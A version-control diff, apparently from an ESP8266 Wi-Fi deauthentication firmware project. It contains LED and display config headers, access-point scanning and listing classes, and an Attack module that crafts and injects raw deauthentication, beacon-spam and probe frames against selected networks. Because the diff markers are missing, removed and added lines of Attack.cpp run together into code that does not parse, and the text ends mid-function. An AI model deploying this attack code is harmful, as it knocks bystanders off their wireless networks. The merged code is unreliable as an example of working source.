Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

81
configs/diy_esp_boy.txt Normal file
View File

@ -0,0 +1,81 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 13 // D7
#define LED_PIN_G 15 // D8
#define LED_PIN_B 16 // D0
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 1 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 2
#define BUTTON_DOWN 14
#define BUTTON_A 10
#define BUTTON_LEFT 12
#define BUTTON_RIGHT 0
#define BUTTON_B 9
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

View File

@ -1,314 +0,0 @@
#include "APScan.h"
APScan::APScan() {
}
bool APScan::start() {
if (debug) {
Serial.println("starting AP scan...");
Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Hidden");// - Vendor");
}
aps._clear();
results = 0;
for (int i = 0; i < maxAPScanResults; i++){
selected[i] = false;
String("").toCharArray(names[i], 33);
}
results = WiFi.scanNetworks(false, settings.apScanHidden); // lets scanNetworks return hidden APs. (async = false & show_hidden = true)
if(results > maxAPScanResults) results = maxAPScanResults;
if (debug) Serial.println("Scan results: "+(String)results);
for (int i = 0; i < results && i < maxAPScanResults; i++) {
Mac _ap;
_ap.set(WiFi.BSSID(i)[0], WiFi.BSSID(i)[1], WiFi.BSSID(i)[2], WiFi.BSSID(i)[3], WiFi.BSSID(i)[4], WiFi.BSSID(i)[5]);
aps.add(_ap);
channels[i] = WiFi.channel(i);
rssi[i] = WiFi.RSSI(i);
encryption[i] = WiFi.encryptionType(i);
hidden[i] = WiFi.isHidden(i);
String _ssid = WiFi.SSID(i);
_ssid.toCharArray(names[i], 33);
//data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9);
if (debug) {
Serial.print((String)i);
Serial.print(" - ");
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.print(" - ");
Serial.print(hidden[i]);
//Serial.print(" - ");
//Serial.print(vendors[i]);
Serial.println();
}
}
//for debugging the APScan crash bug
/*
if(debug){
for(int i=results;i<maxAPScanResults;i++){
Mac _ap;
_ap.set(random(255),random(255),random(255),random(255),random(255),random(255));
aps.add(_ap);
channels[i] = random(1,12);
rssi[i] = random(-30,-90);
encryption[i] = ENC_TYPE_NONE;
String _ssid = "test_dbeJwq3tPtJsuWtgULgShD9dxXV";
_ssid.toCharArray(names[i],33);
Serial.print((String)i);
Serial.print(" - ");
_ap._print();
Serial.print(" - ");
Serial.print(channels[i]);
Serial.print(" - ");
Serial.print(rssi[i]);
Serial.print(" - ");
Serial.print(getEncryption(encryption[i]));
Serial.print(" - ");
Serial.print(names[i]);
Serial.println();
results++;
}
}
*/
if (debug) Serial.println("scan done");
return true;
}
String APScan::getEncryption(int code) {
switch (code) {
case ENC_TYPE_NONE:
return "none";
break;
case ENC_TYPE_WEP:
return "WEP";
break;
case ENC_TYPE_TKIP:
return "WPA";
break;
case ENC_TYPE_CCMP:
return "WPA2";
break;
case ENC_TYPE_AUTO:
return "WPA*";
break;
}
return "?";
}
String APScan::getAPName(int num) {
//if (isHidden(num)) return "* Hidden SSID *";
return names[num];
}
String APScan::getAPEncryption(int num) {
return getEncryption(encryption[num]);
}
//String APScan::getAPVendor(int num){ return vendors[num]; }
String APScan::getAPMac(int num) {
return aps._get(num).toString();
}
bool APScan::isHidden(int num) {
return hidden[num];
}
int APScan::getAPRSSI(int num) {
return rssi[num];
}
int APScan::getAPChannel(int num) {
return channels[num];
}
int APScan::getFirstTarget() {
for (int i = 0; i < maxAPScanResults; i++) {
if (isSelected(i)) return i;
}
return -1;
}
String APScan::sanitizeJson(String input){
input.replace("\\","\\\\");
input.replace("\"","\\\"");
input.replace("/","\\/");
input.replace("\b","\\b");
input.replace("\f","\\f");
input.replace("\n","\\n");
input.replace("\r","\\r");
input.replace("\t","\\t");
return input;
}
void APScan::sendResults() {
if (debug) Serial.print("sending AP scan result JSON ");
size_t _size = 25; // {"aps":[ ... ],"multiAPs":"1"}
for (int i = 0; i < results && i < maxAPScanResults; i++) {
/*
_size++; // {
_size += 5; // "i": ,
_size += String(i).length();
_size += 5; // "c": ,
_size += String(getAPChannel(i)).length();
_size += 24; // "m":"d4:21:22:da:85:f3",
_size += 8; // "ss":" ",
_size += getAPName(i).length();
_size += 5; // "r": ,
_size += String(getAPRSSI(i)).length();
_size += 6; // "e": ,
_size += 6; // "se":0
_size++; // }*/
_size += 67;
_size += String(i).length();
_size += String(getAPChannel(i)).length();
_size += sanitizeJson(getAPName(i)).length();
_size += String(getAPRSSI(i)).length();
if ((i != results - 1) && (i != maxAPScanResults - 1)) _size++; // ,
}
sendHeader(200, "text/json", _size);
String json;
int bufc = 0; //bufferCounter
json = "{\"aps\":[";
sendToBuffer(json);
for (int i = 0; i < results && i < maxAPScanResults; i++) {
if (debug) Serial.print(".");
json = "{";
json += "\"i\":" + (String)i + ",";
json += "\"c\":" + (String)getAPChannel(i) + ",";
json += "\"m\":\"" + getAPMac(i) + "\",";
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
json += "\"r\":" + (String)getAPRSSI(i) + ",";
json += "\"e\":" + (String)encryption[i] + ",";
//json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"h\":" + (String)hidden[i] + ",";
json += "\"se\":" + (String)isSelected(i);
json += "}";
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
sendToBuffer(json);
}
json = "],\"multiAPs\":\"";
if(settings.multiAPs) json += "1";
else json += "0";
json += "\"}";
sendToBuffer(json);
sendBuffer();
if (debug) Serial.println("done");
}
String APScan::getResultsJSON() {
if (debug) Serial.print("getting AP scan result JSON ");
String json = "{ \"aps\":[ ";
for (int i = 0; i < results && i < maxAPScanResults; i++) {
if (debug) Serial.print(".");
json += "{";
json += "\"i\":" + (String)i + ",";
json += "\"c\":" + (String)getAPChannel(i) + ",";
json += "\"m\":\"" + getAPMac(i) + "\",";
json += "\"ss\":\"" + sanitizeJson(getAPName(i)) + "\",";
json += "\"r\":" + (String)getAPRSSI(i) + ",";
json += "\"e\":" + (String)encryption[i] + ",";
//json += "\"v\":\""+getAPVendor(i)+"\",";
json += "\"h\":" + (String)hidden[i] + ",";
json += "\"se\":" + (String)isSelected(i);
json += "}";
if ((i != results - 1) && (i != maxAPScanResults - 1)) json += ",";
}
json += "] }";
if (debug) {
Serial.println(json);
Serial.println("done");
}
return json;
}
void APScan::sort() {
if (debug) Serial.println("sorting APs ");
/* I know, it's bubble sort... but it works and that's the main thing! ;) (feel free to improve it tho) */
for (int i = 0; i < results - 1; i++) {
Serial.println("--------------");
for (int h = 0; h < results - i - 1; h++) {
if (rssi[h] < rssi[h + 1]) {
Serial.println("switched: " + (String)rssi[h] + " > " + (String)rssi[h + 1]);
int tmpA = channels[h];
channels[h] = channels[h + 1];
channels[h + 1] = tmpA;
tmpA = rssi[h];
rssi[h] = rssi[h + 1];
rssi[h + 1] = tmpA;
tmpA = encryption[h];
encryption[h] = encryption[h + 1];
encryption[h + 1] = tmpA;
String tmpB = names[h];
strncpy(names[h], names[h + 1], 32);
tmpB.toCharArray(names[h + 1], 32);
bool tmpC = hidden[h];
hidden[h] = hidden[h + 1];
hidden[h + 1] = tmpC;
tmpC = selected[h];
selected[h] = selected[h + 1];
selected[h + 1] = tmpC;
Mac tmpMac = aps._get(h);
aps.set(h,aps._get(h+1));
aps.set(h+1,tmpMac);
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
}
}
}
void APScan::select(int num) {
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
if(num < 0) {
if(num == -1){
if(settings.multiAPs) {
selectedSum = results;
for (int i = 0; i < results; i++) selected[i] = true;
}
} else {
selectedSum = 0;
for (int i = 0; i < maxAPScanResults; i++) selected[i] = false;
}
} else if(!settings.multiAPs) {
for (int i = 0; i < maxAPScanResults; i++){
if(i != num) selected[i] = false;
else selected[num] = !selected[num];
}
selectedSum = 1;
} else {
if(selected[num]) selectedSum--;
else selectedSum++;
selected[num] = !selected[num];
}
}
bool APScan::isSelected(int num) {
return selected[num];
}

View File

@ -1,61 +0,0 @@
#ifndef APScan_h
#define APScan_h
#define maxAPScanResults 80
#include <ESP8266WiFi.h>
#include "Mac.h"
#include "MacList.h"
#include "Settings.h"
#include <ESP8266WebServer.h>
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern ESP8266WebServer server;
extern void sendBuffer();
extern void sendToBuffer(String str);
extern void sendHeader(int code, String type, size_t _size);
extern const bool debug;
extern Settings settings;
class APScan {
public:
APScan();
bool start();
void sort();
String getResultsJSON();
void select(int num);
void sendResults();
String getAPName(int num);
String getAPEncryption(int num);
//String getAPVendor(int num);
String getAPMac(int num);
bool isHidden(int num);
int getAPRSSI(int num);
int getAPChannel(int num);
int getFirstTarget();
bool isSelected(int num);
String sanitizeJson(String input);
int results = 0;
int selectedSum;
MacList aps;
private:
int channels[maxAPScanResults];
int rssi[maxAPScanResults];
char names[maxAPScanResults][33];
int encryption[maxAPScanResults];
bool hidden[maxAPScanResults];
String getEncryption(int code);
bool selected[maxAPScanResults];
};
#endif

View File

@ -0,0 +1,82 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

View File

@ -0,0 +1,254 @@
#include "Accesspoints.h"
Accesspoints::Accesspoints() {
list = new LinkedList<AP>;
}
void Accesspoints::sort() {
list->sort([](AP & a, AP & b) -> int{
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
if (WiFi.RSSI(a.id) < WiFi.RSSI(b.id)) return 1;
});
}
void Accesspoints::sortAfterChannel() {
list->sort([](AP & a, AP & b) -> int{
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
if (WiFi.channel(a.id) > WiFi.channel(b.id)) return 1;
});
changed = true;
}
void Accesspoints::add(uint8_t id, bool selected) {
list->add(AP{id, selected});
changed = true;
}
void Accesspoints::printAll() {
prntln(AP_HEADER);
if (list->size() == 0)
prntln(AP_LIST_EMPTY);
else
for (uint8_t i = 0; i < list->size(); i++)
print(i, i == 0, i == list->size() - 1);
}
void Accesspoints::printSelected() {
prntln(AP_HEADER);
uint8_t max = selected();
if (selected() == 0) {
prntln(AP_NO_AP_SELECTED);
return;
}
for (uint8_t i = 0, j = 0; i < list->size(), j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Accesspoints::print(uint8_t num) {
print(num, true, true);
}
void Accesspoints::print(uint8_t num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(AP_TABLE_HEADER);
prntln(AP_TABLE_DIVIDER);
}
prnt(buildString(String(),(String)num, 2));
prnt(buildString(String(SPACE) + getSSID(num), String(), 33));
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prnt(buildString(String(SPACE), (String)getRSSI(num), 5));
prnt(buildString(String(SPACE), getEncStr(num), 5));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer) {
prntln(AP_TABLE_DIVIDER);
}
}
String Accesspoints::getSSID(uint8_t num) {
if (!check(num)) return String();
if (getHidden(num)){
return str(AP_HIDDEN);
} else {
String ssid = WiFi.SSID(list->get(num).id);
ssid = ssid.substring(0,32);
ssid = fixUtf8(ssid);
return ssid;
}
}
String Accesspoints::getNameStr(uint8_t num) {
if (!check(num)) return String();
return names.find(getMac(num));
}
uint8_t Accesspoints::getCh(uint8_t num) {
if (!check(num)) return 0;
return WiFi.channel(list->get(num).id);
}
int8_t Accesspoints::getRSSI(uint8_t num) {
if (!check(num)) return 0;
return WiFi.RSSI(list->get(num).id);
}
uint8_t Accesspoints::getEnc(uint8_t num) {
if (!check(num)) return 0;
return WiFi.encryptionType(list->get(num).id);
}
String Accesspoints::getEncStr(uint8_t num) {
if (!check(num)) return String();
switch (getEnc(num)) {
case ENC_TYPE_NONE:
return String(DASH);
break;
case ENC_TYPE_WEP:
return str(AP_WEP);
break;
case ENC_TYPE_TKIP:
return str(AP_WPA);
break;
case ENC_TYPE_CCMP:
return str(AP_WPA2);
break;
case ENC_TYPE_AUTO:
return str(AP_AUTO);
break;
}
return String(QUESTIONMARK);
}
String Accesspoints::getSelectedStr(uint8_t num) {
return b2a(getSelected(num));
}
uint8_t* Accesspoints::getMac(uint8_t num) {
if (!check(num)) return 0;
return WiFi.BSSID(list->get(num).id);
}
String Accesspoints::getMacStr(uint8_t num) {
if (!check(num)) return String();
uint8_t* mac = getMac(num);
String value;
for (uint8_t i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += ZERO;
value += String(mac[i], HEX);
if (i < 5) value += DOUBLEPOINT;
}
return value;
}
String Accesspoints::getVendorStr(uint8_t num) {
if (!check(num)) return String();
return searchVendor(getMac(num));
}
bool Accesspoints::getHidden(uint8_t num) {
if (!check(num)) return false;
return WiFi.isHidden(list->get(num).id);
}
bool Accesspoints::getSelected(uint8_t num) {
if (!check(num)) return false;
return list->get(num).selected;
}
void Accesspoints::select(uint8_t num) {
if (!check(num)) return;
AP changedAP = list->get(num);
changedAP.selected = true;
list->set(num, changedAP);
prnt(AP_SELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::deselect(uint8_t num) {
if (!check(num)) return;
AP changedAP = list->get(num);
changedAP.selected = false;
list->set(num, changedAP);
prnt(AP_DESELECTED);
prntln(getSSID(num));
changed = true;
}
void Accesspoints::remove(uint8_t num) {
prnt(AP_REMOVED);
prntln(getSSID(num));
list->remove(num);
changed = true;
}
void Accesspoints::selectAll() {
for (uint8_t i = 0; i < count(); i++)
internal_select(i);
prntln(AP_SELECTED_ALL);
changed = true;
}
void Accesspoints::deselectAll() {
for (uint8_t i = 0; i < count(); i++)
internal_deselect(i);
prntln(AP_DESELECTED_ALL);
changed = true;
}
void Accesspoints::removeAll() {
list->clear();
prntln(AP_REMOVED_ALL);
changed = true;
}
uint8_t Accesspoints::count() {
return (uint8_t)list->size();
}
uint8_t Accesspoints::selected() {
uint8_t num = 0;
for (uint8_t i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
bool Accesspoints::check(uint8_t num) {
if (internal_check(num)) return true;
prnt(AP_NO_AP_ERROR);
prntln((String)num);
return false;
}
bool Accesspoints::internal_check(uint8_t num) {
return num >= 0 && num < count();
}
void Accesspoints::internal_select(uint8_t num) {
AP changedAP = list->get(num);
changedAP.selected = true;
list->set(num, changedAP);
}
void Accesspoints::internal_deselect(uint8_t num) {
AP changedAP = list->get(num);
changedAP.selected = false;
list->set(num, changedAP);
}
void Accesspoints::internal_remove(uint8_t num) {
list->remove(num);
}

View File

@ -0,0 +1,71 @@
#ifndef Accesspoints_h
#define Accesspoints_h
#include "Arduino.h"
#include <ESP8266WiFi.h>
#include <LinkedList.h>
#include "Names.h"
#include "language.h"
extern Names names;
extern String searchVendor(uint8_t* mac);
extern String buildString(String left, String right, int maxLen);
String fixUtf8(String str);
class Accesspoints {
public:
Accesspoints();
void sort();
void sortAfterChannel();
void add(uint8_t id, bool selected);
void print(uint8_t num);
void print(uint8_t num, bool header, bool footer);
void select(uint8_t num);
void deselect(uint8_t num);
void remove(uint8_t num);
void printAll();
void printSelected();
void selectAll();
void deselectAll();
void removeAll();
String getSSID(uint8_t num);
String getNameStr(uint8_t num);
String getEncStr(uint8_t num);
String getMacStr(uint8_t num);
String getVendorStr(uint8_t num);
String getSelectedStr(uint8_t num);
uint8_t getCh(uint8_t num);
uint8_t getEnc(uint8_t num);
int8_t getRSSI(uint8_t num);
uint8_t* getMac(uint8_t num);
bool getHidden(uint8_t num);
bool getSelected(uint8_t num);
uint8_t count();
uint8_t selected();
bool check(uint8_t num);
bool changed = false;
private:
struct AP{
uint8_t id;
bool selected;
};
LinkedList<AP>* list;
bool internal_check(uint8_t num);
void internal_select(uint8_t num);
void internal_deselect(uint8_t num);
void internal_remove(uint8_t num);
};
#endif

View File

@ -1,472 +1,395 @@
#include "Attack.h"
Attack::Attack() {
getRandomMac(mac);
if (settings.getBeaconInterval()) {
// 1s beacon interval
beaconPacket[32] = 0xe8;
beaconPacket[33] = 0x03;
} else {
// 100ms beacon interval
beaconPacket[32] = 0x64;
beaconPacket[33] = 0x00;
}
deauth.time = currentTime;
beacon.time = currentTime;
probe.time = currentTime;
}
void Attack::generate() {
if (debug) Serial.print("\n generating MACs...");
Mac _randomBeaconMac;
uint8_t _randomMacBuffer[6];
beaconAdrs._clear();
for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
do {
_randomBeaconMac.randomize();
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
if (debug) Serial.println("done");
macListChangeCounter = 0;
void Attack::start() {
stop();
prntln(A_START);
attackTime = currentTime;
attackStartTime = currentTime;
//accesspoints.sortAfterChannel();
running = true;
}
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
packetSize = 0;
for (int i = 0; i < sizeof(deauthPacket); i++) {
packet[i] = deauthPacket[i];
packetSize++;
}
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
Attack::beacon.active = beacon;
Attack::deauth.active = deauth || deauthAll;
Attack::deauthAll = deauthAll;
Attack::probe.active = probe;
for (int i = 0; i < 6; i++) {
//set target (client)
packet[4 + i] = _client._get(i);
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}
Attack::output = output;
Attack::timeout = timeout;
//set type
packet[0] = type;
packet[24] = reason;
//if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && scan.countSelected() > 0)){
if (beacon || probe || deauthAll || deauth) {
start();
} else {
prntln(A_NO_MODE_ERROR);
stop();
}
}
void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
packetSize = 0;
int ssidLen = _ssid.length();
if (ssidLen > 32) ssidLen = 32;
for (int i = 0; i < sizeof(beaconPacket_header); i++) {
packet[i] = beaconPacket_header[i];
packetSize++;
void Attack::stop() {
if (running) {
running = false;
deauthPkts = 0;
beaconPkts = 0;
probePkts = 0;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.maxPkts = 0;
beacon.maxPkts = 0;
probe.maxPkts = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
prntln(A_STOP);
}
if(settings.beaconInterval){
beaconPacket_header[32] = 0xe8;
beaconPacket_header[33] = 0x03;
}
for (int i = 0; i < 6; i++) {
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}
packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;
for (int i = 0; i < ssidLen; i++) {
packet[packetSize] = _ssid[i];
packetSize++;
}
for (int i = 0; i < sizeof(beaconPacket_end); i++) {
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}
packet[packetSize] = _ch;
packetSize++;
if (encrypt) {
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}
}
void Attack::buildProbe(String _ssid, Mac _mac) {
int len = _ssid.length();
if (len > 32) len = 32;
packetSize = 0;
for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
packetSize += sizeof(probePacket);
for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
packet[packetSize] = len;
packetSize++;
for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
packetSize += len;
for (int i = 0; i < sizeof(probePacket_RateTag); i++) packet[packetSize + i] = probePacket_RateTag[i];
packetSize += sizeof(probePacket_RateTag);
bool Attack::isRunning() {
return running;
}
bool Attack::send() {
if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
/*
if(debug){
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");
void Attack::updateCounter() {
// stop when timeout is active and time is up
if (timeout > 0 && currentTime - attackStartTime >= timeout) {
prntln(A_TIMEOUT);
stop();
return;
}
// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * (scan.countAll() - names.selected());
else deauth.maxPkts = settings.getDeauthsPerTarget() * scan.countSelected();
} else {
deauth.maxPkts = 0;
}
// beacon packets per second
if (beacon.active) {
beacon.maxPkts = ssids.count();
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
} else {
beacon.maxPkts = 0;
}
// probe packets per second
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
else probe.maxPkts = 0;
// random transmission power
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
else setOutputPower(20.5f);
// reset counters
deauthPkts = deauth.packetCounter;
beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
}
void Attack::status() {
char s[80];
sprintf(s, str(A_STATUS).c_str(), deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, probe.maxPkts);
prnt(String(s));
}
String Attack::getStatusJSON() {
String json = String(OPEN_BRACKET); // [
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
